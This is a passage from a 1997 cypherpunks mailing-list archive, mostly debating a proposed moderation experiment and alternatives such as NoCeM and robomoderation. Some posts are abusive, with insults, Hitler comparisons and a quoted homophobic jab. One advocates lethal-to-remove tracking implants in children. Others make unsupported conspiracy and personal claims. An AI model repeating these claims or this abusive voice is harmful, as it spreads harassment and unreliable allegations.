credible in case he reveals any dealings with them.

#3 is pure speculation on my part, but the first will be pretty obvious to
people who have followed the Scientology campaign against their Net critics.

Personally, I would advise people against linking to this article as a
resource about computer crime or hacking.



Rich



______________________________________________________________________
Rich Burroughs  richieb@teleport.com  http://www.teleport.com/~richieb
U.S. State Censorship Page at - http://www.teleport.com/~richieb/state
dec96 issue "cause for alarm" - http://www.teleport.com/~richieb/cause




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Sun, 5 Jan 1997 16:41:58 -0800 (PST)
To: antimod@nym.alias.net (Against Moderation)
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <19970105224324.3104.qmail@anon.lcs.mit.edu>
Message-ID: <199701060041.QAA01983@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Against Moderation writes:
> 
> Have you considered using a system like NoCeM (see http://www.cm.org)?

NoCeM doesn't appear to do mail yet.  At least not according to the
info on the web site

> I think such a system has many advantages over centrally controlled
> moderation.  The basic idea of NoCeM is that instead of moderating a
> newsgroup or mailing list, people post lists of articles to be
> ignored, and you can configure your mail/newsreader to pay attention
> to NoCeM's by whichever people you trust.

There's nothing in John and Sandy's proposal that forbids
doing that.  Just apply it to the cypherpunks-unmoderated list.

> NoCeM would prevent any message delays which moderation might
> introduce

NoCeM for mail would require a delay (for the 'retromoderation' or
whatever it's called message to arrive) otherwise you'd see the spam.
Unlike news, once email's delivered it can't be deleted by a cancel.

> NoCeM would also prevent anyone from accusing you of censorship.

The unmoderated version of the list doesn't do that?

> If we continue to get important
> messages like implementations of the RC2 and RC4 ciphers, a moderator
> could be found responsible for approving such an article.

If such a message were to arrive and the moderator felt it would
be too illegal to post it, it would still go to the unmoderated list.
Remember, _everything_ goes to that list, before it's looked at
by the moderator. 
 
> Obviously there are some issues related to NoCeM.  Not all mail- and
> newsreaders support NoCeM.

It appears that NO mailreaders support it. :-)

>  However, there are definitely solutions to
> those problems.  For instance, a perl script could be used to delay
> messages and apply NoCeM's, so that people can subscribe to customized
> filtered versions of the list.  I might even be willing to write such
> software if there is interest.

I don't mean to sound really negative, NoCeM looks like an
interesting solution to the problem of Usenet spam.  But it's not
ready for mailing lists.  We need a solution now, and the proposed
solution does not make it any harder to use something like NoCeM
when it's ready.


-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Sun, 5 Jan 1997 13:44:23 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: C'punks "moderation" experiment
In-Reply-To: <199701051939.LAA05342@toad.com>
Message-ID: <v03007800aef5c7ed76ab@[206.243.166.102]>
MIME-Version: 1.0
Content-Type: text/plain


	Thank you.  I look forward to more of the best of C'punks, without
having the hassle of continually  weeding out the vapid bullshit.
Apparently because of your philosophical orientation, you have stayed open
-- and kept the List open -- to this pattern of eggregious harassment far
longer than I would have thought possible.  I applaud your patience, but
for myself -- I have had more than enough!

	I think the way you choose to resolve the problem is admirable;
indeed, fair beyond belief -- and I wish any masochist who continues to
read the completely unmoderated list the best of luck.  It has been painful
to watch an often-challenging array of voices, from a wide variety of POVs,
become swamped by drivel from assholes whose only goal was to burden the
List with dung.  As was doubtless their goal, they chased many
once-faithful readers away.

	I trust the List will remain open to varied POVs.  Sternlight, FC,
and any others who might offer substantive challenges to Libertarian
boiler-plate should never be feared or denied a hearing.  I don't mind
strident voices. I enjoy a conflict of ideas.  But I abhor the emply spams
and automated gratuitous-insult machines we've all had to endure for so
long.

	Suerte,
		_Vin

         Vin McLellan + The Privacy Guild + <vin@shore.net>
      53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548  






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 5 Jan 1997 17:33:08 -0800 (PST)
To: roy@scytale.com
Subject: Re: ONE MILLION CHILDREN..... (fwd)
In-Reply-To: <970105.012718.4D8.rnr.w165w@sendai.scytale.com>
Message-ID: <32D055E1.3598@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Roy M. Silvernail wrote:
> In list.cypherpunks, ravage@einstein.ssz.com writes:
> > Forwarded message:
> >> Date: Sat, 04 Jan 1997 10:24:21 -0800
> >> From: Dale Thorn <dthorn@gte.net>

> >> C'mon Gary, why would anyone want to bother with all of this crap?
> >> Chip implants are already in millions of pets.  It's simple, cheap,
> >> and there's no work for the owner.

> I would really like to see some statistics on the number of "lost
> children" who have suffered (any given incommodation) exclusively due to
> their inability to be positively linked with some True Idendity.  Most
> of the English-speaking children with which I'm aquainted can answer the
> question "What's your name?".

Not my point. My point is, you make sure the chips are deep enough that
they can't be removed without removing a great deal of body mass (and
probably killing the subject).  The chip also has to be monitorable
externally, so that a number of transponders or whatever positioned in
many different places can isolate each chip and ID it, much like police
do with auto licence plates.

This way, it's vastly more difficult (or impossible) to operate the
so-called white-slave rings now sponsored by various elitist groups
and protected by corrupt police authorities.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dws <dws@intercom.com>
Date: Sun, 5 Jan 1997 14:29:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Quis custodiet ipsos custodes?
Message-ID: <Pine.LNX.3.91.970105171444.23353B-100000@intercom.com>
MIME-Version: 1.0
Content-Type: text/plain



Jonathan Littman's book on Kevin Poulsen, "The Watchman : The Twisted
Life and Crimes of Serial Hacker Kevin Poulsen" is coming out this month, 
so I checked into Amazon (http://www.amazon.com) to see if it had been 
released yet.  It has an interesting blurb for the book:

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Synopsis:
Drawing on exclusive interviews with serial killer Kevin Poulsen, who's
                                            ^^^^^^
currently serving time in federal prison, journalist Jonathan Littman
takes readers along on the wildest, most colorful crime spree in the
annals of cyberspace...
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Yikes!  Seems this book will have more revelations than I had previously 
thought.  Maybe CoS will take down that page with all the bad stuff they
say about him (http://www.theta.com/goodman/crime.htm) now that he's out.

-- D.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 5 Jan 1997 17:54:34 -0800 (PST)
To: Casey Iverson <iverson@usa.net>
Subject: Re: The Problems are Gay
In-Reply-To: <3.0.32.19970105120913.0069c110@pop.netaddress.com>
Message-ID: <32D05B05.7A9D@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Casey Iverson wrote:
> At 06:20 AM 1/5/97 -0500, you wrote:
> >Most of the time, the problems are Gay...
> >I rest my case.

> The arrogant, clueless, ignorant, homophobic Vulis tentacle
> has no idea what the problem is.

Really?  Looks like they (whoever and their tentacles) hit it right on
in the predictions regarding Gilmore and the list, re: censorship.

Assuming the text below came from Gilmore as is alleged, he is collab-
orating with the most offensive and ignorant of all cypherpunks, the
veritable king of asininity, Sandy Sandfort.

Both of these clowns should climb out of their drunk tanks (or whatever
they're called these days) and get some fresh air.  Paranoia like these
guys are displaying is most unbecoming of a so-called civilised person.

> I agree with Sandy Sandfort and many others that things have gotten
> way out of hand on the list.  He and I feel that the only proposed
> solutions likely to succeed involve inserting human judgement in the
> cypherpunks posting process, rather than mere automation. [snippo]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sun, 5 Jan 1997 14:50:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <199701051939.LAA05342@toad.com>
Message-ID: <Pine.LNX.3.95.970105173751.329A-100000@eclipse>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 5 Jan 1997, John Gilmore, quoting Sandy Sandfort, wrote:

> 3)  Cypherpunks who wish to read all posts to the list may do so
> by taking advantage of either of two optional lists.  The first
> (cypherpunk-flames@toad.com), will consist solely of messages
> expurgated from the main Cypherpunks list.  (Those who subscribe
> to "flames" will be able to easily monitor my moderating
> decisions.)  The second (cypherpunks-unedited@toad.com), will
> contain all posts sent to Cypherpunks.  It will be the equivalent
> of the current open, unmoderated list.  It will appeal to those
> who don't want list moderation.

To reduce the load on toad.com, I think it would be better to have just
"cypherpunks" and "cypherpunks-unedited".  Messages approved for the moderated
list would be tagged with an "Approved:" header and sent to both lists.
Rejected messages would still go to the unedited list, but would not have an
"Approved:" header (this would, of course, require that the moderation
software rename or delete "Approved:" headers).  The only problem with this
is that the lag time for distribution of the unedited list might increase.

> 6)  Because every message submitted to Cypherpunk will be posted
> to two of the three sister lists, I don't intend to lose much
> sleep over whether or not this or that moderating decision was
> perfect.  I will do the best job I can, within the constraints
> listed here.  If I err, it isn't fatal.  Everyone who wants one
> will have two Cypherpunk venues for their posts.  Sounds fair
> enough to me.  What do you think?

I think it's a good idea.  As long as an unedited version continues to be
available, it shouldn't effect people who want unfiltered list traffic.


Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 5 Jan 1997 18:06:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <ZcX3ZD69w165w@bwalk.dm.com>
Message-ID: <32D05DB6.252@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> >From cypherpunks-errors@toad.com  Sun Jan  5 17:03:17 1997
> Received: by bwalk.dm.com (1.65/waf)
> I agree with Sandy Sandfort and many others that things have gotten
> way out of hand on the list.  He and I feel that the only proposed
> solutions likely to succeed involve inserting human judgement in the
> cypherpunks posting process, rather than mere automation.[snippo]
> Like many of you, I have become very disenchanted with the
> quality of discourse on this list.[mo' snippo]

I'll bet Hitler was disenchanted by the declaration against him by the
World Jewish Congress.

I'll bet Andrew Jackson was disenchanted with the decisions of the
Seminole Indian leaders to not just lay down and die.

And now Sandy is disenchanted.  What a hypocritical asshole.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Marc J. Wohler" <mwohler@ix.netcom.com>
Date: Sun, 5 Jan 1997 15:23:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: A vote of confidence for Sandy
Message-ID: <3.0.32.19970105175238.006a3b9c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


I have the utmost confidence  in Sandy and his efforts to revive the
quality of our list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 5 Jan 1997 18:41:21 -0800 (PST)
To: Vin McLellan <vin@shore.net>
Subject: Re: C'punks "moderation" experiment
In-Reply-To: <v03007800aef5c7ed76ab@[206.243.166.102]>
Message-ID: <32D064E9.14CB@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Vin McLellan wrote:
> Thank you.  I look forward to more of the best of C'punks, without
> having the hassle of continually  weeding out the vapid bullshit.
> Apparently because of your philosophical orientation, you have stayed open
> -- and kept the List open -- to this pattern of eggregious harassment far
> longer than I would have thought possible.  I applaud your patience, but
> for myself -- I have had more than enough!

Well, Vin, without commenting on your plug for censorship, I can only
say that I hope you are *very* fond of Sandy Sandfort, since he becomes
YOUR LORD GOD for cypherpunks list purposes.

How many other gods do you have, Vin (if that's your real name, Vin)?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 5 Jan 1997 18:44:56 -0800 (PST)
To: "Marc J. Wohler" <mwohler@ix.netcom.com>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <3.0.32.19970105175238.006a3b9c@popd.ix.netcom.com>
Message-ID: <32D066C2.3FAA@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Marc J. Wohler wrote:
> I have the utmost confidence  in Sandy and his efforts to revive the
> quality of our list.

And I have all the confidence in the world in William Bennett,
George Bush, and all their wonderful helpers in helping with the
Boys and Girls Clubs of Southern California.

Why not re-elect Hitler?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wireinfo <wireinfo@wire-in.com>
Date: Sun, 5 Jan 1997 17:10:47 -0800 (PST)
To: "Freedom Knights" <cypherpunks@toad.com>
Subject: Re: Experiments on Mailing Lists
Message-ID: <199701060110.TAA23884@mail.phoenix.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM, dlv@bwalk.dm.com writes:

>"Timothy C. May" <tcmay@got.net> writes:
>> Except for the one of using the versions of majordomo (which exist, as I
>> understand things) which only allow posts by subscribed members. This may
>> nuke anonymous posts, but so what? The _possibility_ of anonymity, which we
>> mostly all support, does not mean that people have to listen to such posts.
>> And since the junk from anonymous posts is getting to be a serious
>> problem....
>>
>> Another possibility is that anonymous posts get kicked into a file for
>> later approval or nonapproval by someone. Nothing fancy (that is, no
>> "tokens" and complicated accounting systems, such as have been proposed),
>> just a manual "moderation" by someone, or some set of volunteers, etc.
>> Enough moderation to let the "Red Rackham" sorts of good posts through
>> while blocking the "Make Money Fast" and barnyard insults from making it.

ah, yes: "good" becomes so well-defined, as the "banyard insults" shoe 
drops. a lie, my grandmother used to tell me, is halfway around the world 
before the truth has even got its boots on.

>Timmy seems to be VERY bothered by those anonymous posts and would
>surely like them to stop - perfectly illustrating why the "cypher punks"
>are enemies of free speech. Timmy can killfile anything he doesn't like,
>but he wants to prevent everyone else from seeing whatever information
>Timmy doesn't want to be disseminated.
>
>You lose, Timmy.  The truth wants to be free.


or somewhere around $19.95 a month, anyway.


-just another internet MessAge Processor




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 5 Jan 1997 17:41:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Experiments on Mailing Lists
In-Reply-To: <3.0.32.19970104182713.0069a05c@mail.io.com>
Message-ID: <v030078e6aef5f9db3ec6@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:38 pm -0500 1/4/97, Greg Broiles wrote:
>Some evildoer has been posting messages to Usenet purporting to be from
>"cypherpunks@toad.com"; some of the messages posted have been to newsgroups
>frequented by the make-spam-fast crowd, so now we've apparently been
>identified as within an especially gullible market segment.

Wow. Is it really true that all we need is a cancelbot?

It can't really be that easy...


Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox,
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.vmeng.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 5 Jan 1997 20:20:13 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Will off-topic libertarian bullshit be allowed on the moderated mailing list?
Message-ID: <3.0.32.19970105201837.006bd3a4@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 08:39 PM 1/5/97 -0600, Igor Chudov @ home wrote:
>If restrictions on content are to be imposed, it is not only fair
>but also rational to exclude off-topic political rants as well as 
>flames. Both of these categories add zero value to accomplishing
>Cypherpunks' mission.

I disagree. If you want "straight crypto", subscribe to Coderpunks. This
list is first and foremost a political list. Yes, I said it. Cypherpunks is
a political list. If it was just a technical list, it would have never
become as popular as it did. Nor would it have helped to create such a
strong sense of community amongst many of its long time subscribers.

As to firearms: Crypto is a weapon. There are very good reasons why
governments determined to overstep their bounds are working so hard to
restrict access to both crypto and firearms. You can't have one without the
other. At least not for long.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 5 Jan 1997 20:20:12 -0800 (PST)
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in
Message-ID: <3.0.32.19970105202032.00691618@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 09:02 PM 1/5/97 -0600, Igor Chudov @ home wrote:
>With STUMP robomoderator, the great majority of posts are autoapproved,
>because they come from preapproved posters. In the newsgroups moderated
>by STUMP, moderators review only a small fraction of incoming messages.

I like this. Seems that list moderating technology has made some progress.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 5 Jan 1997 17:42:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment inJan
In-Reply-To: <199701051939.LAA05342@toad.com>
Message-ID: <v030078eeaef5fd35084d@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


Sandy writes:

>Sounds fair
>enough to me.  What do you think?


I think temporarily moderating c-punks is a good idea. It could be that, if
we are indeed the target of a cancelable attack on usenet, all this garbage
could go away after a while (he said, wishfully). However, I think our
current problems are more a function of the size of the list itself. So,
if, in fact, the crap *doesn't* abate over time, it wouldn't be the end of
the world if the more abusive behavior here were removed mechanically --
before it went out to almost 2,000 people.

Thus, I don't think that moderating the garbage out of cypherpunks is the
functional equivalent of a neuticle installation. :-).


Measuring the effectiveness of this exercise, with the ability to peek
ocassionally into Sandy's sludge pile, keeps the whole thing honest.
Frankly, if we could figure out a way for Sandy to easily split the feed
into "cypherpunks" and "trash", that would be the best *permanent*
solution. Unfortunately, the physical mechanics of list moderation will
probably swamp poor Sandy as it is, much less the permanent addition of
forwarding the dreck somewhere else at the same time. I hope he understands
that he's about to take a shower with a firehose. For instance, it's work
enough mechanically for me to filter out the good 40% of cypherpunks, and
the 10% average of the 30 or so other lists I follow on a daily basis for
e$pam. If I were also responsible for sending the relevant contents of my
trash folder to another feed, it would probably be too much to mess with,
because I've got other stuff in there besides email list noise.

Of course, having an intellegent moderator of cypherpunks also cuts down on
the value of e$pam itself... Hmmm...

Heavy sigh. ;-).

Oh, well, it's all in the cause of a good signal...

Go for it, Sandy, and good luck!

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox,
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.vmeng.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ArkanoiD <ark@paranoid.convey.ru>
Date: Sun, 5 Jan 1997 09:26:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Returned mail: Mailbox full, Please try later. (fwd)
Message-ID: <199701051724.UAA25277@paranoid.convey.ru>
MIME-Version: 1.0
Content-Type: text/plain


Good news ;)

Forwarded message:
> From MAILER-DAEMON@paranoid.convey.ru  Sun Jan  5 20:18:11 1997
> Date: Sun, 5 Jan 1997 09:17:36 -0800 (PST)
> From: Mailer-Daemon@ix.netcom.com (Mail Delivery Subsystem)
> Subject: Returned mail: Mailbox full, Please try later.
> Message-Id: <199701051717.JAA15268@ixmail5.ix.netcom.com>
> To: <ark@paranoid.convey.ru>
> Auto-Submitted: auto-generated (failure)
> 
> The original message was received at Sun, 5 Jan 1997 09:17:21 -0800 (PST)
> from paranoid.convey.ru [195.212.156.196]
> 
>    ----- The following addresses have delivery notifications -----
> <jguarnie@ix7.ix.netcom.com>  (unrecoverable error)
> 
>    ----- Transcript of session follows -----
> 554 <jguarnie@ix7.ix.netcom.com>... Mailbox full, Please try later.
> 
>    ----- Original message follows -----
> 
> Return-Path: <ark@paranoid.convey.ru>
> Received: from paranoid.convey.ru (paranoid.convey.ru [195.212.156.196]) by ixmail5.ix.netcom.com (8.7.5/SMI-4.1/Netcom)
> 	id JAA15229; Sun, 5 Jan 1997 09:17:21 -0800 (PST)
> Received: (from ark@localhost) by paranoid.convey.ru (8.7.5/8.7.3) id UAA25246 for jguarnie@ix7.ix.netcom.com; Sun, 5 Jan 1997 20:16:24 +0300
> From: ArkanoiD <ark@paranoid.convey.ru>
> Message-Id: <199701051716.UAA25246@paranoid.convey.ru>
> Subject: Re: Thermojetic Herbal BreakThrough!!!
> To: jguarnie@ix.netcom.com
> Date: Sun, 5 Jan 1997 20:16:22 +0300 (MSK)
> In-Reply-To: <199612292025.MAA28652@dfw-ix11.ix.netcom.com> from "jguarnie@ix7.ix.netcom.com" at Dec 29, 96 03:31:24 pm
> X-Mailer: ELM [version 2.4 PL25]
> MIME-Version: 1.0
> Content-Type: text/plain; charset=koi8-r
> Content-Transfer-Encoding: 8bit
> 
> Fuck off with your shit.
> 
> > 
> > ******SORRY FOR THE INTRUSION THIS IS A ONE TIME MESSAGE*****
> >        ********YOU WILL NOT BE CONTACTED AGAIN********
> > 
> > !!!!!!!!!! THERMOJETICS HERBAL BREAKTHROUGH !!!!!!!!!!
> > 
[skip..]

-- 
                                       _     _  _  _  _      _  _
   {::} {::} {::}  CU in Hell          _| o |_ | | _|| |   / _||_|   |_ |_ |_
   (##) (##) (##)        /Arkan#iD    |_  o  _||_| _||_| /   _|  | o |_||_||_|
   [||] [||] [||]            Do i believe in Bible? Hell,man,i've seen one!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Sun, 5 Jan 1997 20:28:46 -0800 (PST)
To: gnu@toad.com>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experim
Message-ID: <199701060427.UAA15650@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About  5 Jan 97 at 22:38, Black Unicorn wrote:

> Excellent until the flames list is eliminated.

Yes I want to read this list, flames and all.  I guess I'm just used
to it by now.  I don't filter it myself (except manually) so I don't
want to trust someone I don't know to do it.

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 5 Jan 1997 18:42:46 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Will off-topic libertarian bullshit be allowed on the moderated mailing list?
Message-ID: <199701060239.UAA03419@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Hello,

For a long time, cypherpunks mailing list has been plagued by
two types of irrelevant traffic: 

	1) Flames by Vulis against cypherpunks and by cypherpunks against
	   Vulis.
	2) Off-topic rants about libertarian ideology, guns, poverty,
	   Ebonics, etc etc.

Both types of messages were equally damaging to the content that I
consider worth reading: discussions about applications of cryptography,
protocols and crypto-related code. As a result, most of the people who
used to talk about cryptosystems do not do so anymore because they moved
to other, less noisy, forums.

It was very sad to see that nobody except Eric Murray wanted to
seriously try to discuss IPG algorithm, which was in my opinion an
excellent case study of a home-grown cryptosystem. Eric wrote lots of
excellent C code to check the "random" number generator, but no one else
was interested.

Cypherpunks's uniqueness and appeal is not in the breadth of issues
discussed: there are forums dedicated to libertarian issues, guns,
languages, terrorism, and so on. The mission of this forum, as I
understand it, was to provide amateurs with interest in applying
cryptography, and professional cryptographers alike, a good place to
discuss crypto-related issues productively.

It is understandable that many of those people who subscribe to
cypherpunks' credo of digital freedom happen to be devoted libertarians
and have strong views on other political subjects. It does not justify
bringing every important issue to this mailing list, however.

If restrictions on content are to be imposed, it is not only fair
but also rational to exclude off-topic political rants as well as 
flames. Both of these categories add zero value to accomplishing
Cypherpunks' mission.

	- Igor.

Appendix: what we all received when we subscribed:

Cypherpunks assume privacy is a good thing and wish there were more
of it.  Cypherpunks acknowledge that those who want privacy must
create it for themselves and not expect governments, corporations, or
other large, faceless organizations to grant them privacy out of
beneficence.  Cypherpunks know that people have been creating their
own privacy for centuries with whispers, envelopes, closed doors, and
couriers.  Cypherpunks do not seek to prevent other people from
speaking about their experiences or their opinions.

The most important means to the defense of privacy is encryption. To
encrypt is to indicate the desire for privacy.  But to encrypt with
weak cryptography is to indicate not too much desire for privacy.
Cypherpunks hope that all people desiring privacy will learn how best
to defend it.

Cypherpunks are therefore devoted to cryptography.  Cypherpunks wish
to learn about it, to teach it, to implement it, and to make more of
it.  Cypherpunks know that cryptographic protocols make social
structures.  Cypherpunks know how to attack a system and how to
defend it.  Cypherpunks know just how hard it is to make good
cryptosystems.

Cypherpunks love to practice.  They love to play with public key
cryptography.  They love to play with anonymous and pseudonymous mail
forwarding and delivery.  They love to play with DC-nets.  They love
to play with secure communications of all kinds.

Cypherpunks write code.  They know that someone has to write code to
defend privacy, and since it's their privacy, they're going to write
it.  Cypherpunks publish their code so that their fellow cypherpunks
may practice and play with it.  Cypherpunks realize that security is
not built in a day and are patient with incremental progress.

Cypherpunks don't care if you don't like the software they write. 
Cypherpunks know that software can't be destroyed.  Cypherpunks know
that a widely dispersed system can't be shut down.

Cypherpunks will make the networks safe for privacy.

[Last updated Mon Feb 21 13:18:25 1994]




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 5 Jan 1997 18:58:28 -0800 (PST)
To: rah@shipwright.com (Robert Hettinga)
Subject: Re: Experiments on Mailing Lists
In-Reply-To: <v030078e6aef5f9db3ec6@[139.167.130.248]>
Message-ID: <199701060255.UAA03620@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Robert Hettinga wrote:
> 
> At 9:38 pm -0500 1/4/97, Greg Broiles wrote:
> >Some evildoer has been posting messages to Usenet purporting to be from
> >"cypherpunks@toad.com"; some of the messages posted have been to newsgroups
> >frequented by the make-spam-fast crowd, so now we've apparently been
> >identified as within an especially gullible market segment.
> 
> Wow. Is it really true that all we need is a cancelbot?
> 
> It can't really be that easy...

... And we have the cancelbot. Very easy to run, can be set up
to robocancel everything from cypherpunks@toad.com, on the spot.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anonymous@miron.vip.best.com
Date: Sun, 5 Jan 1997 21:02:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701060455.UAA00652@miron.vip.best.com>
MIME-Version: 1.0
Content-Type: text/plain


excellent potential but don't you think
some of (most of?) the noise is being
generated deliberately in order to 
fuck up the usefulness of the list --- and the
moderators can be easily swamped.  well, good
luck to us anyway.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 5 Jan 1997 19:06:50 -0800 (PST)
To: rah@shipwright.com (Robert Hettinga)
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in
In-Reply-To: <v030078eeaef5fd35084d@[139.167.130.248]>
Message-ID: <199701060302.VAA03686@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Robert Hettinga wrote:
> solution. Unfortunately, the physical mechanics of list moderation will
> probably swamp poor Sandy as it is, much less the permanent addition of
> forwarding the dreck somewhere else at the same time. I hope he understands
> that he's about to take a shower with a firehose. For instance, it's work

With STUMP robomoderator, the great majority of posts are autoapproved,
because they come from preapproved posters. In the newsgroups moderated
by STUMP, moderators review only a small fraction of incoming messages.

It gives two benefits: 

	1) Saves lots of potentially billable time for moderators
	2) Increases speed with which posted articles reach the public.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sun, 5 Jan 1997 18:32:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: (Your Comment Here)
In-Reply-To: <07q3ZD65w165w@bwalk.dm.com>
Message-ID: <Pine.SOL.3.93.970105212719.4678A-100000@asimov.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 5 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> ichudov@algebra.com (Igor Chudov @ home) writes:
> 
> > attila wrote:
> > >     swipe), and then there was Dr. Fred Cohen who attacled Tim on a
> > >     regular basis (but he was easy enough to get rid of after I checked
> > >     his credentials and exposed why he was fired from his professorship),
> > >
> > Why was Dr. Cohen fired from his professorship?
> 
> John Gilmore is a very vindictive persons and will go to extreme length
> to punish his "enemies".

	So Dr. Cohen did not have tenure? Or is that irrelevant??
	 
n.oksas
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Sun, 5 Jan 1997 21:29:54 -0800 (PST)
To: Secret Squirrel <nobody@squirrel.owl.de>
Subject: Re: High-tech tracking by police raises legal outcry
Message-ID: <v02140b04aef63a3e801a@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>>From The Orange County Register, Front Page, Sunday 1-5-97
>
>Police across the country secretly tail hundres of people each year by
>attaching high-tech
>transmitters to suspects' cars and tracking them on squadroom computer screens.
>
[snip]
>
>The technology, marketed by a company called Teletrac, is simple: A
>tramsmitter sends a
